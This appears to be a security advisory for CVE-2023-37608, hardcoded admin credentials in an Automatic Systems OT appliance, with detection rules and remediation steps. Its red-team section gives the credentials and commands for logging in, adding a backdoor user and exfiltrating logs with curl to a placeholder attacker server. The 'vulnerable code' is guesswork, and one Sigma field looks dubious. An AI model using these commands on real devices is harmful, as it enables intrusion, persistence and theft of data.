CVE-2023-37608

Executive Summary

CVE-2023-37608 exposes a critical hardcoded credential vulnerability in the Automatic Systems SOC FL9600 FirstLane V06 lego_T04E00 appliance. A remote, unauthenticated attacker can leverage the pre-configured super admin account automaticsystems with password astech to gain full administrative control over the device. This allows complete compromise of the network appliance, including access to sensitive data, configuration manipulation, and potential lateral movement within the OT/ICS environment.

The vulnerability is classified as a CWE-798 (Use of Hard-coded Credentials) and is trivially exploitable. No patch is currently available from the vendor, making this a high-priority risk for any organization using the affected device.

Supply Chain & Package Security

This vulnerability is not related to a software package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in a physical OT/ICS appliance. Supply chain risk is present if the device was procured from unauthorized resellers or if the firmware image has been tampered with.

CVSS Breakdown & Threat Level

CVSS v3.1 Score: 9.8 (Critical)

Threat Level: Critical. The combination of network accessibility, low complexity, and no required privileges makes this a prime target for automated scanning and exploitation by threat actors, including ransomware groups targeting OT environments.

Deep Dive & Mechanics

The vulnerability resides in the authentication mechanism of the Automatic Systems SOC FL9600 FirstLane V06 lego_T04E00 firmware. The device ships with a hardcoded super admin account (automaticsystems) and a static password (astech). This account is intended for vendor maintenance but is not disabled or configurable by the end user.

Attack Vector:

1. An attacker scans for the device on the network (typically on ports 80/443 for web interface, or 22 for SSH).
2. The attacker attempts to authenticate using the known credentials.
3. Upon successful authentication, the attacker gains full administrative privileges.

Impact:

• Data Exfiltration: Access to logs, network configurations, and sensitive data passing through the device.
• Device Manipulation: Change firewall rules, disable security features, or install malicious firmware.
• Lateral Movement: Use the compromised device as a pivot point to attack other systems on the OT network.
• Persistence: The hardcoded account cannot be removed, ensuring persistent access.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The device likely contains a configuration file or authentication module with hardcoded credentials. For example:

// Example of vulnerable authentication logic
const adminUsers = [
    { username: "automaticsystems", password: "astech", role: "superadmin" }
];
function authenticate(username, password) {
    return adminUsers.find(u => u.username === username && u.password === password);
}

Patched Code (Hypothetical): A secure implementation would remove hardcoded credentials and enforce unique, configurable passwords:

// Example of patched authentication logic
const adminUsers = []; // No hardcoded users
function authenticate(username, password) {
    // Query a secure, hashed password store
    return db.query("SELECT * FROM users WHERE username = ? AND password_hash = ?", [username, hash(password)]);
}

Note: No official patch has been released. The above is a conceptual representation of what a fix should look like.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Network access to the SOC FL9600 device.
• Target IP address.

Exploitation Steps:

1. Identify the device: Use Shodan or Nmap to find devices.

   nmap -p 80,443,22 --open <target_subnet>
   

2. Authenticate via SSH:

   ssh automaticsystems@<target_ip>
   # Password: astech
   

3. Authenticate via Web Interface: Use a tool like curl or Burp Suite to send a POST request to the login endpoint.

   curl -X POST http://<target_ip>/login -d "username=automaticsystems&password=astech"
   

4. Post-Exploitation:
   • Dump configuration: cat /etc/config/network
   • Create backdoor user: useradd -m -s /bin/bash attacker && echo 'attacker:password' | chpasswd
   • Exfiltrate logs: tar czf /tmp/logs.tar.gz /var/log/ && curl -F "file=@/tmp/logs.tar.gz" http://attacker_server/upload

No Exploit-DB code was provided.

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor Authentication Logs: Look for successful logins from the automaticsystems account.

   grep "automaticsystems" /var/log/auth.log
   

2. Network Traffic Analysis: Detect SSH or HTTP sessions using the known credentials.
3. Honeypot Deployment: Set up a decoy SOC FL9600 to capture attacker behavior.

Mitigation Steps (Temporary):

• Network Segmentation: Isolate the device on a management VLAN with strict ACLs.
• Disable Unused Services: If SSH is not required, disable it.
• Monitor for Anomalies: Use SIEM rules to alert on any login from automaticsystems.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2023_37608_Hardcoded_Credentials {
    meta:
        description = "Detects hardcoded credentials for Automatic Systems SOC FL9600"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-37608"
    strings:
        $cred1 = "automaticsystems" ascii wide nocase
        $cred2 = "astech" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: Detection of Hardcoded Credential Usage for CVE-2023-37608
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects successful authentication using the hardcoded automaticsystems/astech credentials.
author: Valters IT
date: 2025/04/10
logsource:
    product: linux
    service: auth
detection:
    selection:
        EventID: 5580  # Example for successful SSH login
        User: 'automaticsystems'
    condition: selection
falsepositives:
    - Legitimate vendor maintenance (should be rare and logged)
level: critical

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (msg:"CVE-2023-37608 - Hardcoded SSH Login Attempt"; flow:to_server,established; content:"automaticsystems"; nocase; content:"astech"; nocase; sid:1000001; rev:1;)
alert tcp $EXTERNAL_NET any -> $HOME_NET 80 (msg:"CVE-2023-37608 - Hardcoded HTTP Login Attempt"; flow:to_server,established; content:"automaticsystems"; nocase; content:"astech"; nocase; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the device: Place it behind a firewall with strict egress filtering.
2. Change default credentials (if possible): Some firmware versions may allow password changes via the web interface. Attempt to change the automaticsystems password.
3. Disable remote access: If SSH or web interface is not required, disable them.
4. Monitor logs: Enable centralized logging and alert on any use of the automaticsystems account.

Long-Term Actions:

1. Contact vendor: Demand a firmware update that removes hardcoded credentials.
2. Replace device: If no patch is forthcoming, consider replacing the device with a secure alternative.
3. Implement network segmentation: Ensure OT devices are on isolated networks with no direct internet access.

No official patch is available at this time.

Valters IT